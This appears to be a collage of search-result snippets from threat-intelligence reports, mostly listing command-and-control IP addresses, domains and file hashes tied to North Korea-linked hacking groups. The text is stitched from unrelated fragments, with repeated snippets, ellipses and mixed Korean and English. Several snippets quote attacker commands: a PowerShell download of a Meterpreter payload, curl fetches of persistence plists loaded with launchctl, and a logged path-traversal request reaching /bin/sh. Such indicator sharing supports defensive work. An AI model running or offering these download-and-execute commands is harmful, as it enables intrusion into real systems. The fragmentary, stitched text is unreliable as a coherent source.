resolved to the following IP addresses from October 15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197…","…Third stage C2 servers 198.55.119.112:443 45.58.112.77:443 23.229.111.197:8443 23.229.111.197:443 185.208.158.208:443 MITRE ATT&CK Mapping Tactic Technique Technique Name…","…bbddcb280af742ce10842b18b9d7120632cc042a8fe42eed90fc4bc94f2d71ac x64 RAT (3rd stage) RAT-Kaspersky-x64 (TigerRAT) 45.58.112.77 868a62feff8b46466e9d63b83135a7987bf6d332c13739aa11b747b3e2ad4bbf x64 RAT (3rd stage) RAT-Kaspersky-x64 (TigerRAT) 45.58.112.77…","…com (27.255.81.59) - nottingham39483.com (45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) -…","…URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…것을 확인할 수 있다. 실행된 파워쉘 명령은 다음과 같으며, 다운로드된 파일 “img.dat”은 메타스플로잇 미터프리터라고 하는 백도어 악성코드이다. > powershell.exe invoke-webrequest -uri “http://45.58.52.82/up.dat” -outfile “c:\\programdata\\img.dat” 공격자는 이후 미터프리터를 이용해 Proxy 악성코드를 추가적으로 설치하였으며, 여기에서도 파워쉘 명령이 사용되었다. 2.…","…> powershell.exe invoke-webrequest -uri “http://45.58.52.82/up.dat” -outfile “c:\\programdata\\img.dat” Afterward, the threat actor used Meterpreter to install proxy malware additionally.…","…Thallium. Here are some of IPs and domains used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf…","…Zoom lure meet.teamicro.live 45.61.163.113 Teams lure web.zoomapp.05meet.am.in 45.61.163.43 Zoom lure zoom.05ukweb.uk 45.61.129.29 Active execute-link on urlscan 2026-07-06 zoom.us05-web.us (older campaign) Referenced in commented-out Perl stager…","…IP Addresses IP Addresses Copy 104.168.143.111 23.254.167.21 144.172.116.9 108.174.198.11 45.61.157.248 45.61.129.29 144.172.114.220 Table of Contents Key Points Background High Level Attack Chain…","…release packages themselves. IOCs: 45.61.139.219 ethertestnet.pro deliworkshopexpress.xyz packages-api.test tableditermanaging.pro 45.61.136.133 b0095f149951241c6e11e0d1be1f74e8cdfbdbb2 2ff1b3aa2dbff6d87447b250a8d19241e7853ab0 67226da423ab4a2c97b2d008dec45280aaa5fdf5 146942c5dbaba55b…","…this VMConnect PyPI campaign, these teams want a way to identify suspicious material in the final release packages themselves. IOCs: 45.61.139.219 ethertestnet.pro deliworkshopexpress.xyz packages-api.test tableditermanaging.pro 45.61.136.133 b0095f149951241c6e11e0d1be1f74e8cdfbdbb2 2f…","…cluster (currently tracked by SEAL as SINT-69 - an uncategorized intrusion set): microteam.app teamms.app neowixbox.us wirevixbox.us 45.61.144.43 45.61.144.44 88.119.174.194 Confirmed DPRK / UNC1069 domains we saw this week:…","…tracked by SEAL as SINT-69 - an uncategorized intrusion set): microteam.app teamms.app neowixbox.us wirevixbox.us 45.61.144.43 45.61.144.44 88.119.174.194 Confirmed DPRK / UNC1069 domains we saw this week:…","…현재 다운로드는 불가하지만 다운로드 서버인 “45.61.148.153”은 위 공격 사례에서 확인된 SmallTiger의 C&C 서버 주소이기도 하다. powershell.exe (New-Object…","…Currently, downloading is not possible, but the download server “45.61.148.153” is also identified as the C&C server address for SmallTiger in the aforementioned attack case. powershell.exe (New-Object…","…a Perl-based downloader targeting macOS systems, instead of Mach-O. This script: Establishes communication with a remote server ( 45.61.157.248 ) via repeated HTTP POST requests until a payload is successfully retrieved. Saves the downloaded payload as a Perl file in the system’s…","…of the victim’s webcam around restrictive firewalls where a direct peer connection would fail. As an extra honourable mention, on `45.61.163.100` – the same IP as the Zoom lure `us.zoom.06webin.us` – we found 8 Australian myGov phishing domains.…","…microsoft-workspace.live, a high-confidence kit hosted on 45.61.163.113, was actively serving both the Zoom and Teams variants from a single origin: `https://microsoft-workspace.live/j/` – Zoom…","…default us.zoom.06webin.us 45.61.163.100 Zoom lure meet.teamicro.live 45.61.163.113 Teams lure web.zoomapp.05meet.am.in 45.61.163.43 Zoom lure zoom.05ukweb.uk 45.61.129.29 Active execute-link on urlscan 2026-07-06 zoom.us05-web.us (older campaign)…","…⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫…","…이 공격 시퀀스는 이른바 김수키(Kimsuky) 조직이 사용하고 있으며, ' 45.76.99.56' 아이피 주소에서 스피어 피싱 이메일을 다수 발송하였습니다.…","…Chollima File:QRLog.java File:prefTmp.java File:QRCodeGenerator_Java.zip File:AppleAccount.pdf File:AppleAccountAgent File:p.dat IP:45.77.123.18 IP:3.90.35.35 URL:auth.pxaltonet.org URL:www.git-hub.me URI:/file/d/1J6943NKwGIcWHh7lj4o9gJe__9p7F1o7/view MD5:0fb16054a1486b754d1fcc5c6b6e…","…(2022.01.28.02) C&C : https://sk5621.com.co [xRAT] cp1093.exe 진단명 (엔진버전) : Backdoor/Win.XRat.C4936798 (2022.01.28.02) C&C : 45.77.71.50:8082 [언인스톨러] UnInstall_kr5829.co.in.exe 진단명 (엔진버전) : Trojan/Win.Akdoor.C4936809 (2022.01.28.02) MD5…","…resolved to the following IP addresses from October 15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198…","…Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227…","…IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227…","…addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103…","…100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this infrastructure, it is…","…5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113…","…37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115…","…trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com , 213.252.232.171:443…","…37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123…","…This IP was also accessed by two other IP addresses, 45.87.153.79 and 45.95.11.52 over ports 9936 and 9966 on the same day, which are the C2 ports used by MoonPeak malware created by the threat actor.…","…Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store…","…PurpleInk 2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content UAT-7810…","…Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169…","…외부 서버에서 추가 페이로드를 내려받는 다운로더, 다른 하나는 공격자의 명령을 원격으로 수행하는 백도어이다. 3.1 백도어 백도어는 C2 서버인 45.95.186.232:8080 “HAPPY” 문자열을 가진 패킷을 전송한다.…","…Backdoor The backdoor sends packets with the string “HAPPY” to the C2 server, 45.95.186.232:8080.…","…2026) File name se.dwg se.dwg dog.dwg VERSION 1.1.8 1.1.8 4.4.3 HOSTS 45.95.186.232:80 45.43.60.53:80 70.36.97.236:443 TAG {Specific Identifier} {Name of Company Damaged} {Name of…","…37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13…","…37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145…","…62.201.235.227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60.204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application…","…Appendix 3. IoCs of Wannacry IP Addresses and Domains IPv4 197.231.221.211 IPv4 128.31.0.39 IPv4 149.202.160.69 IPv4 46.101.166.19 IPv4 91.121.65.179 URL http://www.btcfrog.com/qr/bitcoinpng.php?address URL http://www.rentasyventas.com/incluir/rk/imagenes.html URL…","…of LightlessCan. Network IP Domain Hosting provider First seen Details 46.105.57.169 bug.restoroad.com OVH SAS 2021‑10‑10 A compromised legitimate site hosting the C&C server:…","…the cache file name, etc., and the Trojan has built-in two groups of C2 servers: http://145.232.235.222/usr/users/common.php http://46.14.68.202/editor/common.php The host system registered organization, the registered owner and install date are then acquired through the…","…Information as of June 2020: IP Address: 46.16.62.238 Registrar: cdmon, 10DENCEHISPAHARD, S.L. Created: January 24, 2010 Expires: Unknown infodigitalnew.com Likely legitimate but…","…manage-downloader.com 188.241.39.10 (UK) N/A N/A attach-download.net 188.241.58.59 (RO) Jongdae Kim jan g.es@daum.net interpuber.com 46.17.175.29 (US) Swoonchul Kwon bitcoin014@han mail.net rnailb.com 188.241.58.60 (RO) Swoonchul Kwon bitcoin014@han mail.net nuaver.com…","…E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.p…","…악성코드 가 생성 파일 들 Desktop(바로가기) Downloads(바로가기) Link.dat Link.ini 파일들을 생성하면 도메인은 미국에 있고 DNS:46.202.158.9 이며 2024-11-07 02:05:00부터 만들어 사용했는데 URL은 코니(Konni)에서 사용을 한 이력이 있다고 하는데 2025-03-18부터 악용을 하고 있다고 합니다.…","…212.85.29.149 3 fireblocksinsight.com 51.210.235.42 4 assessmentbay.com 46.202.196.24 5 doodles.skillquestions.com 6 quiz-nest.com 51.210.235.45 7…","…the infection, via a shell script named `uploadminer.sh`: 1 ... 2 3 cd ~/Library/LaunchAgents 4 curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist 5 curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist 6 launchctl load -w…","…지니언스 (Genians) temp.demetradesign.it/eternalwealth/wp-content/plugins/health-check/pages/interview/ d.php?na=battmp 46.252.150.82 [IT] brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ d.php?na=battmp 5.9.123.217 [DE]…","…Domains & IPs: filetrasfer.wuaze.com goldenftp.rf.gd plaza.xo.je gabber.42web.io humimianserver.kesug.com drone.ct.ws 46.4.112.56 192.144.34.77 192.144.34.40 34.203.111.164 223.16.184.105 GO UP BACK TO ALL POSTS…","…spliced as page=xxx&mode=xxx&DATA=xxx. In the uploaded information, the first step is to measure the activity by taking C2: 46.44.251.52:91. Then upload the encrypted message. The final loop accepts the return information and executes the relevant commands.…","…may have been excluded. 1.234.41.14 (Kimsuky xRAT C2) 115.21.139.222 (Kimsuky xRAT C2) 121.160.252.1 (Kimsuky xRAT C2) 47.103.206.233 (FlowerPower C2) 169.254.100.95 (Kimsuky xRAT C2) 211.115.73.132 (Kimsuky xRAT C2) xn -- lg3b741c.xn -- h32bi4v.xn -- 3e0b707e…","…186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256:…","…186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a…","…infrastructure was also targeted with more sophisticated attacks: [Thu May 22 02:07:11.305776 2025] [core:error] [pid 3432467] [client 47.236.172.160:39102] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 This represents a…","…- https://www.virustotal.com/gui/ip-address/170.239.84.243/relations - https://www.virustotal.com/gui/ip-address/47.91.56.21/relations [그림 6] 하드코딩된 명령제어(C2) 화면 lea rcx, [rbp+6260h+var_6220] ; lpBuffer mov [rsp+hMem], r13 mov rbx, rax mov…","…unniedu.com 49.1.238.247 (KR-DLIVE) 222.122.195.67 (KR-KT) 172.67.183.9 104.21.48.88 puac.net 112.214.236.86 (KR-DLIVE) 49.1.234.75 (KR-DLIVE) 172.67.179.222 104.21.43.135 yecchong.com 112.214.237.131 (KR-DLIVE) 172.67.137.64 104.21.86.221 seouul.com…","…merryear.com 124.5.163.170 (KR-DLIVE) 222.122.195.67 (KR-KT) 172.67.208.102 104.21.34.210 glaed-hotel.com 49.1.238.247 (KR-DLIVE) 172.67.177.152 104.21.43.94 campaign2-nid.com 27.102.130.92 (KR-DAOU) 172.67.168.65 104.21.26.97 kyf-dream.com…","…data from C2(additional file download & execution) \u0000‡ But we did not get any additional file from C2 \u0000‡ C2 is https://www.unsunozo.org \u0000‡ 49.239.189.45 CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER \u0000‡ KOREA MAJOR BANK ATTACK FRO M BLUENOROFF \u0000‡ ATM OPERATOR COMPANY BREACH…","…data from C2(additional file download & execution) • But we did not get any additional file from C2 • C2 is https://www.unsunozo.org • 49.239.189.45 CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER From unidentifiable nation-state actors Another Attack Targeting Financial…","…2024-08-07 2024-08-21 Python api.coinpricehub.io 45.141.58.40 2024-05-06 2024-08-06 Java cdn.leaguehub.net 5.133.9.252 2024-07-15 2024-07-21 Python cdn.clublogos.io 146.19.173.29 2024-06-24 2024-07-12 Python api.jquery-release.com…","…Mashinostroyeniya email discussing suspicious networking communication as active C2 communications occurring through 192.169.7.197 , and 5.134.119.142 .…","…호스트는 '5.161.182.109 [US]' 주소이며, '53690' 포트를 사용합니다.…","…johnson8903013@gmail.com 5.180.208.57 (US) - Clouvider 5.180.208.60 (US) - Clouvider 89.147.101.197 (KR) - Nord VPN 89.187.161.220 (JP) - Astrill VPN 160.238.37.95…","…johnson8903013@gmail.com 5.180.208.57 (US) - Clouvider 5.180.208.60 (US) - Clouvider 89.147.101.197 (KR) - Nord VPN 89.187.161.220 (JP) - Astrill VPN 160.238.37.95 (KR) - Nord VPN 160.238.37.100…","…13.248.252.114 [*] Done: Found 500 domains for 13.248.158.159 [*] Done: Found 500 domains for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*] Done: Found 500 domains for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*]…","…9.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share on Tumblr Related Posted in advanced persistent…","…Address First Seen Last Seen Repository getstockprice.com 70.34.245.118 2025-02-03 2025-02-20 Python cdn.clubinfo.io 5.206.227.51 2025-01-21 2025-02-19 Python getstockprice.info 131.226.2.120 2025-01-21 2025-01-23 Python api.stockinfo.io…","…the likely actor-controlled domain names: 185.236.231.224 PTR: brown.gallagher-williams.com 195.133.26.32 PTR: castro.smith.com 5.206.227.51 PTR: smith-jones.graham.info These domains do not appear related.…","….107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots Copy #…","…84 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots Copy # banner_0_hash…","…4.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were useful pivots: Feature Pivots Copy # banner_0_hash 083ca76e08cca8d8ebd337b836c9c8fb…","…poisoning BLOCK / MONITOR 2 134.122.38.73 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 3 5.255.114.109 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 4 165.22.232.198 PHP web shell tooling / upload…","…문자열에 포함되어 있다. Base64 문자열을 복호화 하면 나머지 설정 데이터도 확인이 가능하다. 설정 데이터 버전 “1.0” 뮤텍스 “ZhengReversePC” Host IP 5.61.59.53 Host Port 0 MSTSC (RDP) IP 127.0.0.2 MSTSC (RDP) Port 3389 Main (C&C) Port 2086 Table 1.…","…configuration data by decrypting the Base64 string. Settings Data Version “1.0” Mutex “ZhengReversePC” Host IP 5.61.59.53 Host port 0 MSTSC (RDP) IP 127.0.0.2 MSTSC (RDP) port 3389 Main (C&C) port 2086 Table 1.…","…그리고 C2 서버 '5.75.181.118 [DE]' 주소로 접속해 추가 명령을 대기 합니다. ○ 악성 코드 내부 Dialog 문자열에는 'RFTServer, Version 1.0' 표현이 포함돼 있으며, 이런 종류의 악성 파일 시리즈는 'RftRAT' 이름으로 명명돼 있습니다.…","…그리고 'setting.ini' 파일을 통해 '5.78.68.117 [US]' 주소를 할당합니다. [그림 26] 포트 포워딩 코드 분석 화면 ○ 유무선 공유기, NAT 환경 등으로 외부에서 원격데스크톱(RDP) 접속이 불가한 환경에 역방향 세션을 허용하고, RDP 터널링으로 원격 접속이…","…https://naver-file.com:443/download/list.php?q=e1&18467=41 사용하는 IP 트래픽 5.8.71.81:443 (TCP) 8.247.211.254:80 (TCP) 그리고 securityMail_1101.html 생성된 파일의 웹 소스를 보면 다음과 같이 돼 있습니다.…","…HTTP 요청(해당 사이트 폭파) https://naver-file.com:443/download/list.php?q=e1&18467=41 DNS 확인 naver-file.com IP 트래픽 5.8.71.81:443(TCP) 8.247.211.254:80(TCP) 2023-05-29 16:01:00 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…46.252.150.82 [IT] brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ d.php?na=battmp 5.9.123.217 [DE] 안랩 (Ahnlab) joongang.site/pprb/sec/ d.php?na=battmp 162.0.209.27 [US] 센티넬원 (Sentinelone) rfa.ink/bio/…","…해당 도메인은 인도의 whiteserver 호스팅 업체에서 등록됐고, 아이피 주소는 독일소재의 '5.9.123.217' 주소로 연결돼 있습니다. < Tasks > < Task Type = \"CommandLine\" Command = \"cmd.exe\" > < String Name = \"Name\" ID = \"5\" /> < String…","…2021‑10‑12 A compromised legitimate WordPress-based site hosting the C&C server https://turnscor.com/wp-includes/feedback.php 50.192.28.29 Comcast Cable Communications, LLC 2021‑10‑12 A compromised legitimate site hosting the C&C server…","…SAS 2021‑10‑10 A compromised legitimate site hosting the C&C server: http://bug.restoroad.com/admin/view_status.php 50.192.28.29 hurricanepub.com Comcast Cable Communications, LLC 2020‑01‑06 A compromised legitimate site hosting the C&C…","…successfully accessed by the attack group to be used as malware download websites: Compromised domain Serve r colasprint.com 50.192.28.29 speed-stream.com kyungrok.com 118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr…","…- 50.205.193.11:443 (US) - 208.52.184.13:443 (US) - 184.107.209.2:443 (CA) [그림 4] 명령 제어 서버 지도 공격자는 윈도우즈 명령 처리기 코드 조합을…","…⚫ 176.65.128.26 ⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫…","…aptiscore.com 212.85.29.40 2 easyhiringtool.com 212.85.29.149 3 fireblocksinsight.com 51.210.235.42 4 assessmentbay.com 46.202.196.24 5 doodles.skillquestions.com 6 quiz-nest.com…","…4 assessmentbay.com 46.202.196.24 5 doodles.skillquestions.com 6 quiz-nest.com 51.210.235.45 7 provevidskillcheck.com 31.220.40.22 8 evalswift.com 78.110.166.82 References:…","…nomadpkgs.com primerosauxiliosperu.com reggedrobin.com toyourownbeat.com zscaler-api.org IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38…","…03:47:11 8ba860e1340b29439ff5f6e3df98d537 nvgifx.exe 2019-07-08 11:19:12 f1af683eba25bb9cdf4fa88176fc6128 C&C 서버 정보 - 51.254.60.208 흥미로운 점은 한국에서 발생했던 다수의 APT 공격용 악성파일의 커스텀 암호화 로직과 유사성을 가지고 있어, 특정 정부의 후원을 받는 해킹 조직이 배후에 있을 것으로 보입니다.…","…trashcrease.com C2 IP Address 131.226.2.43 Anglerstatic.com C2 IP Address 23.236.169.233 goingladies.com C2 IP Address 51.38.145.49:443 Attacker IP IP Address 213.252.232.171:443 Attacker IP IP Address 131.226.2.120:443 Attacker IP IP Address 37.120.247.180:443…","…goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com , 213.252.232.171:443 getstockprice.info , 131.226.2.120:443 eclairdomain.com , 37.120.247.180:443…","…following section will focus on sharing the key IOCs and TTPs of the attack. Attacker Information Attacker Domains: gossipsnare.com, 51.38.145.49:443 showmanroast.com, 213.252.232.171:443 getstockprice.info, 131.226.2.120:443 eclairdomain.com, 37.120.247.180:443 replaydreary.com,…","…212.227.91.36 jikyung.co.kr 211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230 scimpex.com 103.227.176.20 automercado.co.cr 54.241.91.49 ns3145204.ip-51-68-119.eu 51.68.119.230…","…(4) agarwalpropertyconsultants.com anca-aste.it automercado.co.cr curiofirenze.com IPs (4) 192.99.20.39 199.79.63.24 51.68.152.96 54.241.91.49 Findings 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e Tags downloadertrojan Details…","…to this domain. 51.68.152.96 Whois Queried whois.ripe.net with \"-B 51.68.152.96\"... % Information related to '51.68.152.0 - 51.68.155.255' % Abuse contact for '51.68.152.0 - 51.68.155.255' is 'abuse@ovh.net' inetnum: 51.68.152.0 - 51.68.155.255 netname:…","…I found 3 more web servers that very likely belong to Kimsuky and are therefore currently active in their campaign: IP Domain 51.79.185.184 aointerviews.com 176.111.220.168 152.32.138.15 IIM Chain Here’s the related IIM Chain for this attack You can view it in the…","…We confirmed this by finding the old-generation server still alive at 51.79.185.184 (OVH Canada), also returning \"Million OK !!!!\" with the exact Apache/2.4.25 (Win32) PHP/5.6.30 fingerprint Hunt.io documented.…","…configuring it to execute every 10 minutes as part of its persistence mechanism. The malware attempts multiple TCP connections to 51.79.218.159:8000, an OVH SAS server located in Singapore.…","…djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net 51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36 jikyung.co.kr 211.202.2.195 hansung-cc.co.kr 115.23.252.233 au-pair.org…","…75448c81d54acb16dd8f5c14e3d4713b3228858e07e437875fbea9b13f431437 Fast Reverse Proxy 216.120.201.112:443 Command-and-control server 51.81.168.157:443 Command-and-control server 217.195.153.209 IP address used by Plink 172.96.137.224 IP address used by Plink 144.208.127.115 IP…","…64.190.63.111 2022‑03‑03 15:34 AS47846 purewatertokyo.com 58.158.177.102 2022‑05‑20 16:07 AS17506 purplebear.com 52.128.23.153 2021‑01‑08 08:37 AS19324 salmonrabbit.com 58.158.177.102 2022‑05‑20 09:37 AS17506 Victims According to KSN telemetry,…","…(TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80 (TCP) 52.142.124.215:443 (TCP) 8.247.209.254:80 (TCP) 82.145.216.20:443 (TCP) 82.145.216.20:80 (TCP) 87.248.116.11:443 (TCP) 2023-11-09 00:05:16 UTC 기준…","…rneail.com bitcoin018@hanmail.net Annie Cho securitycounci1report.org servicenidnaver.com un.midsecurity.org N/A (52.177.14.24) app-wallet.com - MS Thallium bitcoin025@hanmail.net Annie Cho bigwnet.com - MS Thallium Yoichi Shimada…","…d.php?na=battmp 162.0.209.27 [US] 센티넬원 (Sentinelone) rfa.ink/bio/ d.php?na=battmp 162.0.209.27 [US] 52.177.14.24 [US] [표 5] 보안 업체별 'battmp' 사용 사례 비교 ○ GSC는 분석 당시 C2 서버에 명령어가 등록된 화면을 확인할 수 있었습니다. [그림 10] C2 서버 웹 페이지 화면 ○ 'qwer.gif'…","…joongang.site/pprb/sec/d.php?na= battmp 162.0.209.27 [US] 센티넬원 (Sentinelone) rfa.ink/bio/d.php?na= battmp 162.0.209.27 [US] 52.177.14.24 [US] [표 5] 보안 업체별 'battmp' 사용 사례 비교 ○ 센티넬원 분석 보고서에 따르면, 대북 정보분석 전문 미국기업 Korea Risk Group (KRG)의 직원을 표적으로 삼은 공격 사례에 대해 자세히…","…[://]64.188.27.73/board/pct.gif http[://]64.188.27.73/board/logo_adm_org.gif http[://]64.188.27.73/board/tour_upt.html IPs 193.56.28.251 52.202.193.124 64.188.27.73 151.106.2.139 66.154.102.91 Share this post Related…","…VARIANT C2 f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c x64 RAT (3rd stage) RAT-KrCERT-x64 (TigerRAT) 52.202.193.124 ed11e94fd9aa3c7d4dd0b4345c106631fe52929c6e26a0daec2ed7d22e47ada0 x64 RAT (3rd stage) RAT-KrCERT-x64 (TigerRAT) 185.208.158.208…","…악성코드 실행시 나오는 안보칼럼 으로 위장한 HWP 악성코드 IP Traffic 104.123.41.162:80 (TCP) 23.55.161.142:80 (TCP) 52.219.169.16:80…","…is a hallmark of sophisticated threat actors, particularly those with state sponsorship. Evidence of Initial Setup: 127.0.0.1:80 52.228.152.193 — — [03/Jan/2025:07:01:44 +0100] “\\x16\\x03\\x01” 400 483 “-” “-” 127.0.0.1:80 79.110.55.14 — — [03/Jan/2025:07:05:28 +0100]…","…CA 92697-1175 UNITED STATES (949) 824-2222 oit-nsp@uci.edu Name Servers: NS4.SERVICE.UCI.EDU 128.200.59.190 NS5.SERVICE.UCI.EDU 52.26.131.47 Domain record activated: 30-Sep-1985 Domain record last updated: 07-Jul-2016 Domain expires: 31-Jul-2018 Relationships…","…ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476 Network 52.79.118.195 61.81.50.174 [URL]/[FOLDER]/[FILENAME]asp?prd_fld=racket happy.nanoace.co.kr…","…Reflective DLL Injection, HWP Object Linking and Embedding, BAT Scripts Infrastructure: - https://.work3.b4a.app/ - Amazon hosted stager 52.87.80.2 \"HTTP/1.1 401 